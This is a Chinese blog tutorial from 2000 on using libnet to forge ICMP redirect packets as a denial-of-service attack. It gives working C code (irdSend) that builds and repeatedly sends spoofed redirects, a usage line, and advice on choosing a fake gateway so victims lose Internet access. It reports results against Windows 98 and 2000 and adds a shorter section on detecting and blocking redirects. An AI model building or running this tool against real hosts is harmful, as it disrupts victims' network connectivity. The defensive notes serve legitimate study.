libnet使用举例(6)

        
日期:2000-07-31 15:01

本篇写libnet程序完成ICMP重定向测试,还是先来看看相关函数:

int libnet_build_icmp_redirect (
u_char type, u_char code, u_long gateway, u_short orig_len,
u_char orig_tos, u_short orig_id, u_short orig_frag,
u_char orig_ttl, u_char orig_prot, u_long orig_src,
u_long orig_dst, const u_char * orig_payload,
int orig_payload_s, u_char * buf );

在/usr/include/libnet/libnet-headers.h中有如下宏定义:

#define ICMP_REDIRECT 5

第一个形参type只能设置该值。第二个形参理论上可以设置四种值,对于DoS攻击来
说,实际只能设置成ICMP_UNREACH_HOST(1),遗憾的是宏的名字牛头不对马嘴,这与
目标主机是否可达毫无干系,实际意思是只做特定主机路由重定向,网络路由重定向
已被废弃。gateway指定将来要使用的特定主机路由IP,比如<>
中提到的192.168.8.90,它将出现在192.168.10.60的路由表中,很奇怪这里使用
little-endian序,而非常用的big-endian序,不排除实现中编程疏漏的可能;对于
i386/Linux来说,就是主机字节序,编程时注意转换。

orig_len设置成0,事实上据我实验观察,该值根本未被
libnet_build_icmp_redirect()使用,所以后来我设置该形参为0;产生的位于ICMP
数据区的IP头固定20字节,头部总长度域固定为20字节,意思是没有任何负载,这个
函数原型有误导嫌疑。orig_tos设置成0,orig_id用随机数设置,orig_frag设置成0,
orig_ttl设置成255,orig_prot设置成IPPROTO_ICMP(1),orig_src用big-endian序
设置成"攻击目标"IP,比如<>中提到的192.168.10.60,
orig_dst用big-endian序设置成欲干扰的"服务目标"IP,比如
<>中提到的202.99.11.161,将来产生的特定主机路由就是针对
该IP寻路而言的。orig_payload设置成NULL,orig_payload_s设置成0。形参buf需要
指向一个已分配好的数据区,ICMP头从该指针开始。

其实从orig_len开始的参数如何设置具有很大灵活性,我是从编程简便角度考虑采用
如上设置,你完全可以不用这些数据,但你必须明确理解你所指定参数的意义,最好
用NetXray抓取你程序所发送出来的报文,检查一下decode部分。

涉及到两个校验和的计算。libnet_do_checksum()继续用于计算ICMP报文校验和,这
个是必须的。另外就是计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应
校验和域为"无校验和",尽管不为错,同样有效,但感觉不爽,反正我是计算了,同
样是调用:



Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H,
IPPROTO_IP, LIBNET_IP_H );

该函数会自行设置位于ICMP数据区的IP校验和域。

从上篇的分析中看出,如果要在广域网上发起ICMP重定向攻击,至少需要知道牺牲者
IP、牺牲者到被干扰服务目标IP的当前路由IP(遵循选路规则),子网掩码(便于伪造
新的路由IP)。一般来说,牺牲者IP不用多说什么,可后面这个当前路由IP比较难以
获得,子网掩码一般可以考虑C类网甚至更小。如何获得有效数据,仁者见仁智者见
智。考虑配合traceroute命令。

命令行上指定伪造的源IP(不可随机化,必须是当前路由)、攻击目标IP、服务目标IP
起始值(可随机化)、服务目标IP个数、伪造的路由IP(不可随机化,必须是直接路由)、
ICMP重定向报文个数。此次没有端口概念介入,不再允许指定目标IP范围,只能指定
单个目标IP,从实际使用角度考虑的结果。

如何察觉、防范ICMP重定向攻击呢?查看路由表最直接。netstat -s还可以察觉那些
未能奏效的ICMP重定向攻击,因为重定向统计量暴涨,该值一般都是很小很小的。协
议分析软件、IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP重定向报文。
修改本机系统,根据具体情况屏蔽ICMP重定向报文。

对于Pwin98,袁哥提供了一个很简单的修改VIP.386的办法,用ultraedit搜索
83 F9 11 77 08,修改成83 F9 00 75 08,意思就是如果接收到的ICMP包不是
icmp echo reply就跳转到错误处理。今天拿自己测试的时候,忘记早就修改过
VIP.386,还以为是程序发出来的包有问题而未能奏效。

--------------------------------------------------------------------------
void irdSend ( u_long srcIp, u_long dstIp, u_long svrIp, u_long routeIp, u_long irdNumber )
{
u_long i;

/* 构造IP头 */
libnet_build_ip( LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN, /* IP数据区长度 */
IPTOS_LOWDELAY, /* IP tos */
( u_short )random(), /* IP ID */
0, /* frag stuff */
255, /* TTL */
IPPROTO_ICMP, /* 上层协议 */
srcIp, /* big-endian序 */
dstIp, /* 目标IP */
NULL, /* 无选项 */
0, /* 选项长度零 */
packet ); /* 指向IP头 */
/* 构造ICMP重定向报文头 */
libnet_build_icmp_redirect( ICMP_REDIRECT, /* type */
ICMP_UNREACH_HOST, /* code */
// 这里采用little-endian序,很奇怪,不会是实现疏漏吧
// 对于i386/Linux,就是主机字节序
ntohl( routeIp ), /* 伪造的路由IP */
0, /* 该值任意 */
0, /* orig_tos */
( u_short )random(), /* IP ID */
0, /* orig_frag */
255, /* orig_ttl */
IPPROTO_ICMP, /* 上层协议类型 */
dstIp, /* 注意理解这里 */
svrIp, /* 被干扰目标 */
NULL, /* orig_payload */
0, /* 无选项 */
packet + LIBNET_IP_H ); /* 指向ICMP报头 */
// 计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应校验和域为"无校验和"
// 尽管不为错,同样有效,但感觉不爽,反正我是计算了
Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H,
IPPROTO_IP, LIBNET_IP_H );
// 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕之后
// 我们目的特殊,部分数据提前构造完毕了
/* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */
Libnet_do_checksum( packet, IPPROTO_ICMP,
LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN );
for ( i = 0; i < irdNumber; i++ )
{
/* 发送ICMP重定向报文 */
Libnet_write_ip( rawSocket, packet, packet_size );
} /* end of for */
return;
} /* end of irdSend */
--------------------------------------------------------------------------

Usage: ./ir [--si srcIp] [--di dstIp] [--svr svrIp]
[--svrNum svrNumber] [--routeIp routeIp] [--num irdNumber]

选择routeIp的时候有学问。既然是DoS,尽量不要选择那些活动IP,如果只能选择活
动IP也要避免该IP具有IP Forward能力,否则有可能引发一个合法的ICMP重定向包进
行修正。

如果牺牲者是98,就用其自身IP作为routeIp,删不掉,但影响选路、占用内存、消
耗路由表搜索时间。目前尚未发现冻僵现象,可以实际打掉其访问Internet的能力,
重启动后恢复正常。

对于2K,只能将routeIp设置成一个非活动同子网IP,无法设置成自身,目前尚未发
现冻僵现象,可以实际打掉其访问Internet的能力,
route -f add 0.0.0.0 mask 0.0.0.0 192.168.0.1
后恢复正常,但是在刷新过程中CPU占用率高达100%。

SPARC/Solaris 2.6/2.7和i386/Linux,根本就没有受ICMP重定向包的任何影响。这
样说也不正确,做如下实验:

route change default 192.168.8.90
ping -v 203.207.119.8
netstat -nr
------------------------------------------------------------
203.207.119.8 192.168.0.1 UGHD 0 0 <-- 有效
default 192.168.8.90 UG 0 98
------------------------------------------------------------

route delete host 203.207.119.8 192.168.0.1

ndd /dev/ip \?
ndd -get /dev/ip ip_ignore_redirect
ndd -set /dev/ip ip_ignore_redirect 1
ping -v 203.207.119.8
netstat -nr

对比前后效果。Solaris应该做了更严格的判断,在8.90上用NetXray捕获98路由功能
自动发送的有效ICMP重定向报文,然后立即在10.7上删除刚刚增加上来的特定主机路
由,用NetXray重新发送重定向报文已经无效。这个判断规则是什么,尚不清楚。

对于Linux做如下实验:

route del -net 0.0.0.0 gw 192.168.0.1
route add -net 0.0.0.0 gw 192.168.8.90
ping -v 203.207.119.8
netstat -nr

Linux似乎比Solaris更酷,干脆就不遵守RFC,对ICMP重定向报文一概不理

你可能感兴趣的:(libnet使用举例(6))